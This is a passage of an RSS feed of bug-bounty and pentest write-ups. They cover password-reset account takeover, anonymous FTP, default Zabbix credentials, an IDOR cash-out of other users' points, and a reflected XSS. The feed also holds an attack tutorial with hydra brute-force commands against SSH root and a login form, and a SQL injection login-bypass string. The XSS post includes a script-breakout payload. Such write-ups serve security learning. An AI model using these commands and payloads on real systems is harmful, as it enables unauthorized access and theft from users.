src="https://cdn-images-1.medium.com/max/1024/1*wvIIqV1Du3li8ArSUwLOYQ.png" /></figure><h4>Step 2.1 : Normal Request Behavior</h4><p>“I opened Burp Suite to inspect the structure of the request and see how things were working behind the scenes, in order to better understand the flow.”</p><p>**”I entered a new password twice as required and intercepted the request. As shown in the screenshot below, the request contained the following parameters:</p><ul><li>display_name: &quot;account name&quot;</li><li>reply_to: &quot;support@ex.com&quot;</li><li>to_email: &quot;0xmekky@bugswagger&quot;</li><li>newPassword: [my chosen password]**</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQ3vq8rnr19dD7ed7kU1BQ.png" /></figure><p>“The first thing that came to mind when I saw this request was to send it normally and observe the behavior. After sending the request as-is, I received the confirmation email in my inbox. At this point, I noticed something critical: as soon as <strong>I clicked the confirmation link</strong>, the account password was immediately changed to the new one I had supplied earlier. In other words, no additional input was required from the user — just a single click on the link was enough to complete the password reset.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFLBlyqsaMpGmXtejW-QOg.png" /></figure><h4>Step 2.2 : Manipulating Email Content</h4><p>*”I also noticed something interesting in the confirmation email: the account name was being displayed directly in the message. That made me wonder what would happen if I changed the value of that parameter. So, instead of the actual account name, I inserted a custom message of my choice. For example, I replaced it with:<br> To avoid your account being suspended, please click on ...</p><p>After sending the modified request, I confirmed that the message was successfully reflected in the email. The manipulated text appeared exactly as I had crafted it, making it possible to insert arbitrary content into official system emails.”**</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5J69hQ_ZMwYmimkO6hjGdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NmVLxhEHWyPIsM5qyyklBw.png" /><figcaption>display_name: &quot;To avoid your account being suspended, please click on&quot;</figcaption></figure><h4>Step 2.3 : Changing the Recipient Email</h4><ul><li>*”Up to this point I was only testing against my own account. Next, I tried modifying the to_email parameter in the request. By default, it was set to my address (to_email: &quot;0xmekky@bugswagger&quot;). From the same account, I changed that value to another user’s email — for example:<br> to_email: &quot;0xmekky+1@bugswagger&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oJV_jSMD0uTie6otCtNSFw.png" /></figure><p>The system accepted the change and delivered the password reset confirmation email to that address. The message looked completely legitimate, and when the recipient clicked the confirmation link, their account password was automatically updated to the attacker-controlled value — no additional input required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4GtIXSiP96-ZmfqMBe3iw.png" /></figure><p>When combined with the ability to manipulate the display_name field, this means an attacker could craft highly convincing reset emails containing custom social-engineering messages, making the entire flow both exploitable and believable.&quot;**</p><h3>✅Combined Impact</h3><p>By chaining these behaviors, an attacker could:</p><ul><li>Send password reset emails to arbitrary users.</li><li>Inject social-engineering messages via display_name.</li><li>Achieve <strong>instant account takeover</strong> once the victim clicks the link.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_u5hMbi3X3aSJasid7AqA.jpeg" /></figure><ul><li><a href="https://www.linkedin.com/in/abdelrahem-mekky/">linkedin</a></li><li><a href="https://www.facebook.com/r00tfr3on/">facebook</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62f1bf17821d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Extracting sensitive information via Anonymous FTP due to Improper Access Control]]></title>
            <link>https://medium.com/@0xmekky/extracting-sensitive-information-via-anonymous-ftp-due-to-improper-access-control-ba9be1a99028?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba9be1a99028</guid>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Thu, 30 Jan 2025 14:04:26 GMT</pubDate>
            <atom:updated>2025-01-30T14:04:26.556Z</atom:updated>
            <content:encoded><![CDATA[<h3>عُدْنــا والعَـوْدُ أحْمَـدُ</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*uhAyfO26l-W2SH3L1UtTtQ.jpeg" /></figure><h3>Overview</h3><p>Anonymous FTP allows users to access files on an FTP server without requiring authentication. If improperly configured, it can expose sensitive files, leading to data leakage and security risks.</p><h4><strong>Part of the recon</strong></h4><p>1get ips from shodan</p><p>Usually I use <strong>Shodan</strong> to search for ips In this part I would like to thank my friend @<a href="https://www.youtube.com/@orwaatyat2958">orwa atyat</a> You can also listen to his videos. I am sure you will learn a lot from them</p><p><strong>2Nmap Scanning</strong> <em>(Check open ports)</em></p><pre>sudo nmap -sC -sV -sS -p- -oA nmap_full_scan --open --min-rate=1000 ip</pre><ul><li>Scans all ports (-p-) on ip .</li><li>Identifies running services and their versions (-sV).</li><li>Uses default scripts to detect vulnerabilities (-sC).</li><li>Filters results to show only open ports (--open).</li><li>Saves output for further analysis (-oA).</li></ul><p>3 After <strong>Nmap Scanning done</strong></p><p><strong>I found FTP Anonymous Login (applicable)</strong></p><p>4 <strong>let,s exploit this</strong></p><pre>ftp ipaddress</pre><p>username: anonymous <br>password: anonymous</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C0vDbyzu7VNDdk5Q_QMo5g.png" /><figcaption>as you can see i can show and control for all this files and folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*npYRRwx1WydjIYonYw8FUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*frm44GOCZs7-4ghAjUSytA.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FgaCteSTbqGc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DgaCteSTbqGc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FgaCteSTbqGc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e3df0a650e2a4088794b49f44a6235b8/href">https://medium.com/media/e3df0a650e2a4088794b49f44a6235b8/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba9be1a99028" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Easy Improper Access Control — Generic via default login]]></title>
            <link>https://medium.com/@0xmekky/easy-improper-access-control-generic-via-default-login-d49a18e7c01e?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/d49a18e7c01e</guid>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Fri, 29 Nov 2024 18:19:10 GMT</pubDate>
            <atom:updated>2024-12-17T18:51:52.525Z</atom:updated>
            <content:encoded><![CDATA[<h3>Easy Improper Access Control — Generic via <strong>default login</strong></h3><h3>عُدْنــا والعَـوْدُ أحْمَـدُ</h3><h3>Assalamualaikum , guys! my name is Abdelrahem mekky (0xmekky) I have found Easy Improper Access Control — Generic Let’s explain how I was able to get it</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*j1IdDbErJ2rkGIIK6CjN9A.jpeg" /></figure><p><strong>1 Introduction</strong><br>During a routine bug hunter for Let’s call it<br><strong>example.com</strong>, I discovered a misconfiguration in their deployment of <strong>Zabbix</strong>, a widely used open-source monitoring solution. The vulnerability stems from the use of default credentials left unchanged after installation, granting unauthorized access to the Zabbix dashboard.</p><p>This write-up highlights the steps taken to identify the issue</p><p>2 <strong>Part of the recon</strong></p><p>Usually I use <strong>Shodan</strong> to search for ips In this part I would like to thank my friend @<a href="https://www.youtube.com/@orwaatyat2958">orwa atyat</a> You can also listen to his videos. I am sure you will learn a lot from them</p><p><a href="https://www.youtube.com/@orwaatyat2958">orwa atyat</a></p><h3>If you assume that you got the ips Let’s understand the second part</h3><p>3 <strong>In this part, if we assume that we have found the ips and want to complete the rest of the steps, what do we do?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YCYKCZXkaiVzOyG137BHHg.png" /><figcaption>This is what the page looked like when I opened it on Google Chrome</figcaption></figure><p><strong>step 2 i will doing fuzzing using dirsearch you can use any tools you want</strong></p><pre>dirsearch -u https:/ip /root/fuzz.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2VY4c63ZFi37jtIlYW-EA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f5jOFY-am7oqO1SUinlt9w.png" /><figcaption>what zabbix ?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blnzk-bdYO9gFyOM3wjHTQ.png" /></figure><blockquote><strong>I searched for zabbix on Google</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ec9H0b5Z_PuST9cGH44NgQ.png" /><figcaption>so <strong>Zabbix</strong> is an enterprise-class, open-source monitoring solution that makes network monitoring and application monitoring simple.</figcaption></figure><blockquote><strong>Let’s search on Google if there is a default login for </strong>zabbix</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cE6P4an6uEFSdoJBSBsDvw.png" /><figcaption>usename :- Admin &amp; password :- zabbix</figcaption></figure><blockquote><strong>Ok, let’s try them</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPTq6tP96hqmtQuunwvybg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kk_3s9X9fIMUmI8lVFge6w.png" /><figcaption>It was successful</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*frm44GOCZs7-4ghAjUSytA.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FK2HUnHCIZIg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DK2HUnHCIZIg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FK2HUnHCIZIg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c552de9ac9cffe9fcac3f6f6777cab69/href">https://medium.com/media/c552de9ac9cffe9fcac3f6f6777cab69/href</a></iframe><p><a href="https://www.facebook.com/r00tfr3on/">facebook</a><br><a href="https://hackerone.com/0xmekky">hackerone</a><br><a href="https://www.linkedin.com/in/abdelrahem-mekky/">linkedin</a><br><a href="https://0xmekky.github.io/home/">Portfolio</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d49a18e7c01e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up Burp Suite with Genymotion]]></title>
            <link>https://medium.com/@0xmekky/setting-up-burp-suite-with-genymotion-e93a2e171440?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e93a2e171440</guid>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 14:16:32 GMT</pubDate>
            <atom:updated>2024-10-05T14:16:32.186Z</atom:updated>
            <content:encoded><![CDATA[<h3>Step 1: Convert DER to PEM</h3><pre>openssl x509 -inform DER -in burp.der -out burp.pem</pre><p>This command converts the DER-encoded certificate (burp.der) to PEM format (burp.pem).</p><h3>Step 2: Generate the Old Subject Hash</h3><pre>openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1</pre><p>This generates the old-style subject hash of the certificate and extracts only the first line (which will be used to name the certificate).</p><h3>Step 3: Rename the PEM File</h3><pre>bash<br>Copy code<br>mv burp.pem &lt;cert&gt;.0</pre><p>Rename the PEM file to match the hash value obtained in Step 2. Replace &lt;cert&gt; with the actual hash (from the previous command).</p><h3>Step 4: Transfer to Android Device</h3><pre>bash<br>Copy code<br>adb push &lt;cert&gt;.0 /sdcard/</pre><p>Push the renamed certificate to the /sdcard/ directory on your Android device.</p><h3>Step 5: Remount the Android Filesystem</h3><pre>adb root  # Run adb as root<br>adb remount  # Remount the filesystem as read-write<br>adb shell</pre><p>Use adb root to switch to root and adb remount to make the filesystem writable.</p><h3>Step 6: Move the Certificate to System Directory</h3><pre>mv /sdcard/&lt;cert&gt;.0 /system/etc/security/cacerts/<br>chmod 644 /system/etc/security/cacerts/&lt;cert&gt;.0</pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fone5R8dfYog%3Flist%3DPL61t3_O64lf0q8VQSJSO4AdociEe3ixIr&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Done5R8dfYog&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fone5R8dfYog%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a90d836d888ffa4db1a9b5a96ef2add2/href">https://medium.com/media/a90d836d888ffa4db1a9b5a96ef2add2/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e93a2e171440" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Business Logic Vulnerability with ID ManipulationIn Android application]]></title>
            <link>https://medium.com/@0xmekky/business-logic-vulnerability-with-id-manipulationin-android-application-1866505ba35c?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1866505ba35c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[mobile-app-testing]]></category>
            <category><![CDATA[android-app-testing]]></category>
            <category><![CDATA[logic]]></category>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Tue, 24 Sep 2024 15:08:40 GMT</pubDate>
            <atom:updated>2024-09-24T16:16:20.664Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Business Logic Vulnerability Allowing Unauthorized Point Redemption and Fund Withdrawal</strong></p><h3>عُدْنــا والعَـوْدُ أحْمَـدُ</h3><blockquote><strong>Introduction</strong><br>In this write-up, I’ll walk you through the process of discovering and exploiting a critical business logic vulnerability within a points-based application. The flaw allows attackers to manipulate user IDs and parameters to redeem points and withdraw money from other users’ accounts. Let’s dive into how this was achieved and the potential impact.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jRwLdjQcjIxwIMVAMLSKWw.jpeg" /></figure><blockquote><strong>Scenario Overview</strong></blockquote><blockquote>Imagine an application where users collect points, and these points can be exchanged for money. For example, 100 points can be converted into $1, which can then be transferred to a wallet and withdrawn from any ATM.</blockquote><blockquote>In this scenario, we’ll explore how to identify and exploit business logic vulnerabilities by manipulating user accounts and points in this system.</blockquote><p><strong>Before diving into the vulnerability, let me first walk you through the essential steps I follow when conducting an Android penetration test. These foundational tasks ensure that the testing is thorough and covers all potential weaknesses.</strong></p><h3>Methodology Overview</h3><h3>Step 1: Static Analysis</h3><ul><li><strong>1.1</strong> Reverse Engineering</li><li><strong>1.2</strong> Convert DEX → JAR → JAVA</li><li><strong>1.3</strong> Convert APK → JAVA</li><li><strong>1.4</strong> Analyze the Manifest file</li></ul><p>After performing static analysis and inspecting the Manifest file, I did not find anything of interest. Thus, I moved on to dynamic analysis.</p><h3>Step 2: Dynamic Analysis</h3><ul><li><strong>2.1</strong> Set up a proxy</li><li><strong>2.2</strong> Configure Burp Proxy listener</li><li><strong>2.3</strong> Configure the device to use the proxy</li><li><strong>2.4</strong> Install a CA certificate on the Android device</li><li><strong>2.5</strong> Test configuration and intercept the traffic</li></ul><p>2.1 <strong>Configure Burp Proxy listener</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1iNehWzrNF__9usUAQh9Q.png" /></figure><p><strong>2.1</strong> I downloaded the application to an <strong>emulator</strong>, and after installation, I noticed the application <strong>didn’t implement SSL pinning</strong>, which allowed traffic interception with ease.</p><p><strong>2.2</strong> After understanding how the application worked, I <strong>registered a new account</strong> and l<strong>ogged in</strong>. I noticed a feature in the <strong>application where users could accumulate points</strong> and <strong>exchange them for money</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FCoWd1_MVT2YxGweDhtDbA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Prb65et-IsmU5O9m9zcSNA.png" /></figure><p>I decided to test this functionality and see what happens in the background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d94nHrN5r9kTwv-prRSzBQ.png" /></figure><pre>{<br>  &quot;user_id&quot;:3385<br>}</pre><p>As expected, the response showed the user ID as 3385 and total points as 0. This got me thinking: What if I modify the user ID?</p><p>I changed the userId from 3385 to 3209 and sent the request again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*wRHmsq2QxS5BuZTYAu70WA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*pdN0BO_Pbg4NvDtDZJsPig.png" /><figcaption>Boom! The total points now showed 2500 points for this new user ID</figcaption></figure><p>Let’s check whether I can withdraw these points or not</p><pre>{<br>&quot;requestedPointsEx&quot;: 2000,<br>&quot;pointEgp&quot;: 200,<br>&quot;customerId&quot;: 3209,<br>&quot;data&quot;: &quot;(\”requestedPoints\”:500,\”pointsRequestedingEgp\”:50)&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KlQmaYxoM6244LPctSLaGg.png" /><figcaption>forward the request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JH5VAlTt_-H0nqLUKTybaA.png" /><figcaption>I modified the request to cash out the points, and voila, the process completed successfully, allowing me to withdraw points that were not mine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnmrirkGuj9Ne6S-qG-SGg.jpeg" /></figure><p><a href="https://www.facebook.com/r00tfr3on/">facebook<br></a><a href="https://www.linkedin.com/in/abdelrahem-mekky/">linkedin</a><br><a href="https://0xmekky.github.io/abdelrahem-mekky.com/">Portfolio</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1866505ba35c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Active Directory: Miscellaneous & Pivoting]]></title>
            <link>https://medium.com/@0xmekky/attacking-active-directory-miscellaneous-pivoting-41cdc155ee86?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/41cdc155ee86</guid>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Sun, 01 Sep 2024 21:22:26 GMT</pubDate>
            <atom:updated>2024-09-01T21:22:26.973Z</atom:updated>
            <content:encoded><![CDATA[<h4>Attacking Active Directory: Miscellaneous &amp; Pivoting <strong>part 1</strong></h4><p><strong>Assalamualaikum, everyone!</strong><br>My name is Abdelrahem Mekky, also known as (0xMekky). Today, I’ll be explaining the concepts of <strong>Miscellaneous &amp; Pivoting</strong> in the context of Attacking Active Directory .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Bap57o75zyStr5whXAyDlA.jpeg" /></figure><p><strong>1. Service Cracking</strong></p><ul><li><strong>1.1. SSH:</strong> Exploiting Secure Shell (SSH) to gain unauthorized access by cracking passwords or using vulnerabilities.</li><li><strong>1.2. HTTP:</strong> Targeting web servers and applications through HTTP to exploit vulnerabilities and gain entry.</li><li><strong>1.3. Kerberos:</strong> Attacking the Kerberos authentication protocol, often through techniques like Kerberoasting.</li><li><strong>1.4. FTP:</strong> Cracking FTP credentials or exploiting misconfigurations to access and manipulate files on a server.</li><li><strong>1.5. SMB:</strong> Exploiting the Server Message Block (SMB) protocol, often used for file sharing, to move laterally within a network.</li></ul><p><strong>2. Miscellaneous</strong></p><ul><li><strong>2.1. Pivoting:</strong> Moving laterally within a network after initial access, often to reach more critical systems or data.</li><li><strong>2.2. Port Forwarding:</strong> Redirecting traffic from one network to another, allowing access to internal resources from an external location.</li></ul><blockquote><strong>SSH Exploitation</strong></blockquote><p><strong>Scenario:</strong><br>An attacker wants to gain unauthorized access to a server running SSH. The server is configured to allow password-based authentication, and the SSH port (typically 22) is open to the internet.</p><p><strong>Steps:</strong></p><ol><li><strong>Reconnaissance:</strong>The attacker uses a tool like <strong>Nmap</strong> to scan the target server and identify that SSH is running on port 22.</li></ol><pre>nmap -p 22 &lt;target-ip&gt;<br>#-p = port number</pre><p><strong>2.Password Cracking:</strong>The attacker attempts to gain access by brute-forcing SSH credentials. They use a tool like <strong>Hydra</strong> or <strong>Medusa</strong> to automate the process, trying multiple username and password combinations.</p><pre>hydra -l root -P password_list.txt ssh://&lt;target-ip&gt;<br>#-l = username<br>#-L = wordlist for fuzzing username<br>#-p = password <br>#-P = wordlist for fuzzing  password<br>#ssh://machine_Victem_ip</pre><p>If a weak or common password is in use, the tool will eventually find the correct one, allowing the attacker to log in as the root user.</p><p><strong>3.Gaining Access:</strong><br>Once the password is cracked, the attacker can log in to the server using SSH:</p><pre>ssh root@&lt;target-ip&gt;</pre><p><strong>Post-Exploitation:</strong><br>With access to the server, the attacker can now execute commands, escalate privileges, install malware, or use the compromised server as a foothold to attack other machines within the network.</p><blockquote><strong>HTTP Exploitation</strong></blockquote><p><strong>Scenario:</strong><br>An attacker aims to compromise a web server by targeting vulnerabilities in a web application running over HTTP.</p><p><strong>Steps:</strong></p><ol><li><strong>Reconnaissance:</strong><br>The attacker scans the target website to gather information about the web server, technologies used, and potential entry points. Tools like <strong>WhatWeb</strong> or <strong>Wappalyzer</strong> can be used to identify the web server software (e.g., Apache, Nginx) and technologies (e.g., PHP, WordPress).</li></ol><pre>sudo nmap -sC -sV -T4 ip_machine <br>sudo nmap -p 80</pre><pre>whatweb http://&lt;target-ip&gt;</pre><p>brute force for HTTP for Ex:- login page</p><pre>hydra -l username -P /home/kali/rockyou.txt 10.10.192.181 http-post-form &quot;/login:username=molly&amp;password=^PASS^:F=Your username or password is incorrect.&quot;incorrect.&quot;<br>#-l = username <br>#-p = password <br>#-P = Passwordlist to fuzzing password<br>#-L = usernamelist to fuzzing username <br># http-post-form =  ption in Hydra is used to specify the HTTP POST form that you want to attack<br># /login: This is the URL path of the login form on the target web application. It&#39;s the endpoint where the login credentials are submitted.<br># username=molly&amp;password=^PASS^: This part represents the form fields used in the POST request.<br># username=molly specifies the username field with a fixed value, &quot;molly,&quot; which is the username to be tested.<br># password=^PASS^ specifies the password field, where ^PASS^ is a placeholder that Hydra will replace with each password from the provided wordlist (wordlist.txt).<br># :F=Your username or password is incorrect.: This specifies the failure message that Hydra should look for to determine if the login attempt was unsuccessful. If the response contains this message, Hydra will consider the attempt as failed</pre><p><strong>3.Identifying Vulnerabilities:</strong><br>The attacker discovers that the web application has a known vulnerability, such as SQL Injection, in one of its input fields (e.g., a login form).</p><ul><li><strong>SQL Injection:</strong> This vulnerability allows an attacker to manipulate database queries by injecting malicious SQL code.</li></ul><p>4.<strong>Exploiting the Vulnerability:</strong><br>The attacker exploits the SQL Injection vulnerability by entering malicious input into the login form to bypass authentication and gain unauthorized access to the application.</p><pre>&#39; OR &#39;1&#39;=&#39;1&#39; --</pre><p>5.<strong>Gaining Access:</strong><br>After successfully logging in, the attacker gains administrative access to the web application. They can now manipulate the website, steal sensitive information (e.g., user data), or upload a web shell for further exploitation.</p><ul><li><strong>Web Shell:</strong> A malicious script uploaded by the attacker that allows them to execute commands on the server remotely.</li></ul><p>6.<strong>Post-Exploitation:</strong><br>The attacker can use the web shell to explore the server, escalate privileges, and potentially pivot to other parts of the network. They might also deface the website, steal databases, or deploy ransomware.<br>you can apply a scenario to an<strong> </strong><a href="https://tryhackme.com/r/room/agentt">Agent T</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ttesBI-nQKSuFU-xArQJjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRJNQVMXGShK3BLkxA__Zg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41cdc155ee86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i got Cross-site Scripting (XSS)Reflected Using an unknown technique]]></title>
            <link>https://medium.com/@0xmekky/how-i-got-cross-site-scripting-xss-reflected-using-an-unknown-technique-ca4984827465?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca4984827465</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Sun, 07 Jul 2024 17:11:54 GMT</pubDate>
            <atom:updated>2024-07-07T17:15:35.705Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم</p><h3>عُدْنــا والعَـوْدُ أحْمَـدُ</h3><p><strong>Assalamualaikum , guys! my name is Abdelrahem mekky (0xmekky) I have found Cross-site Scripting (XSS) Reflected and used Using an unknown technique</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*uhAyfO26l-W2SH3L1UtTtQ.jpeg" /></figure><blockquote><strong>I used this method to extract the subdomain and endpoint </strong><a href="https://medium.com/@0xmekky/how-i-got-easy-multiple-rxss-dd3a6bc521dd"><strong>here</strong></a></blockquote><p><strong><em>Let’s explain how I found </em>Cross-site Scripting (XSS) Reflected<em> vulnerabilities</em></strong></p><p>1After finding the parameter values are reflected in the response <br>You will find it <a href="https://medium.com/@0xmekky/how-i-got-easy-multiple-rxss-dd3a6bc521dd">here</a></p><pre>https://ex.target.com/sitemap/?tab=mekky1&amp;domain=mekky2&amp;show=mekky3&amp;submit=mekky4&amp;move=mekky5&amp;userid=mekky6&amp;oitar=&amp;key=mekky7&amp;description=mekky8&amp;user=mekky9&amp;active=&gt;&lt;/script&gt;&lt;script&gt;alert(&quot;0xmekky_xss&quot;)&lt;/script&gt;&amp;success=mekky14&amp;slug=mekky11</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5uKzjEn-M9koBSve0E6gOw.png" /><figcaption><strong>As you can see, I distinguish each parameter with a distinct word in order to know and confirm which one will work, which is reflected in the source code.</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iESnrCXrCvONK3tgjteAZw.png" /><figcaption><strong>As you can see, there is only one parameter that may be reflected in var topmenu and var mainmenu</strong></figcaption></figure><pre>&lt;script type=&quot;text/javascript&quot;&gt;<br>   topmenu = &quot;mekky10&quot;;<br>  &lt;/script&gt;<br><br>&lt;script type=&quot;text/javascript&quot;&gt;<br> var mainmenu = &quot;mekky10&quot;;<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqiTtNoD_-4fYEkjLKIBgw.png" /><figcaption><strong>I have added both &gt;&lt;()””&lt;/&gt; <br>They are all placed as is, there is no block or filter</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R87FpYZ3hE87HBZTQE7lKg.png" /><figcaption><strong>inject Basic JavaScript payload</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-bD3jnSSc5eJAnfe-k7OQ.png" /><figcaption><strong>As you can see not working</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*_diEuS_uH_mQ77nDzrSuhA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yoSS5CHsbWvprfcOe-uehw.png" /><figcaption><strong>You also notice that here he understood that &lt;/script&gt; That it follows &lt;script type=”text/javascript”&gt; var mainmenu = “mekky10&gt;&lt;script&gt;alert(1)&lt;/script&gt;”;</strong></figcaption></figure><pre>&lt;script type=&quot;text/javascript&quot;&gt;<br> var mainmenu = &quot;mekky10&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot;;<br>&lt;/script&gt;</pre><blockquote><strong>Ok, I tried adding my payload after </strong>&lt;/script&gt;</blockquote><pre>&lt;/script&gt;&lt;script&gt;alert(&quot;0xmekky_xss&quot;)&lt;/script&gt;&amp;success=mekky14&amp;slug=mekky15</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsAvis8KBfhucetykcT1hQ.png" /><figcaption>As you can see, it should be working properly</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hqe9tw2rVUxY41L7JOfalg.png" /><figcaption>booooooooooom</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*WgeXI7ybpZJn0vjmSsZqoA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*QfYo9pGJJeG2DF15ns9Tfw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca4984827465" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>